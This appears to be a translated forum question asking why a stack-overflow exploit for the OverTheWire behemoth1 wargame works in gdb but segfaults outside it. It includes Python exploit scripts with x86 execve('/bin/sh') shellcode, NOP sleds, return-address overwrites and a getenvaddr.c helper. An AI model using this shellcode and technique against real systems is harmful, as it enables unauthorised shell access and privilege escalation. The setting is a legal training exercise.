我已经尝试过为其他“漏洞利用在 gdb 之外不起作用”问题(r.sh、invoke.sh、删除环境变量)提供的各种解决方案,此时我完全不知道为什么漏洞利用不起作用(overthewire 上的 behemoth1战争游戏)。这个级别的漏洞应该是一个简单的堆栈溢出,重定向代码执行,生成一个shell并为下一个用户转储密码。
GDB内部:
behemoth1@melinda:/tmp/halp_bh$ gdb -q -iex "set auto-load safe-path /" /behemoth/behemoth1
gdb-peda$ unset env
gdb-peda$ ! ./01.py > exploit_dump.hex
gdb-peda$ r < exploit_dump.hex
Starting program: /games/behemoth/behemoth1 < exploit_dump.hex
Password: Authentication failure.
Sorry.
process 17264 is executing new program: /bin/dash
[Inferior 1 (process 17264) exited normally]
Warning: not running or target is remote
gdb-peda$
在 GDB 之外(我也确保使用相同的调用字符串):
behemoth1@melinda:/tmp/halp_bh$ ./01.py | env - /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
漏洞利用代码
#!/usr/bin/env python
from struct import pack
def _pack(arg):
return pack('<I', arg)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ''
payload += '\x90' * 28
payload += shellcode # 23
payload += '\x90' * 28
payload += _pack(0xffffde00)
print payload
编辑 1:堆栈是 RWE
behemoth1@melinda:~$ readelf -l /behemoth/behemoth1
Elf file type is EXEC (Executable file)
Entry point 0x8048360
There are 8 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
.
.
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
编辑 2:即使使用环境变量,漏洞利用也不起作用
behemoth1@melinda:/tmp/halp_bh$ export SC="\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x 01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x54\x72\x79\x20\x68\x61\x72\x64\x65\x72"
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr SC /behemoth/behemoth1
SC will be at 0xffffde62
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ (cat exploit_dump.txt ; cat) | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
Segmentation fault
新 01.py:
#!/usr/bin/env python
from struct import pack
def _pack(arg):
return pack('<I', arg)
payload = ''
payload += '\x41' * 79
payload += _pack(0xffffde62)
print payload
编辑 3:一个 0x10000 字节的 nopsled 仍然是段错误。这越来越荒谬了......
behemoth1@melinda:/tmp/halp_bh$ env | grep SC
SC=\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
LESSCLOSE=/usr/bin/lesspipe %s %s
behemoth1@melinda:/tmp/halp_bh$ export A=$(python -c "print '\x90'*0x10000")$SC
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr A /behemoth/behemoth1
A will be at 0xfffed7f6
# 0xfffed7f6 + 0x800 = 0xfffedff6
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ cat exploit_dump.txt | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$
01.py
#!/usr/bin/env python
from struct import pack
def _pack(arg):
return pack('<I', arg)
payload = ''
payload += '\x41' * 79
# payload += _pack(0xffff58cd)
# 0xfffedff6
payload += '\xf6\xdf\xfe\xff'
print payload
获取envaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}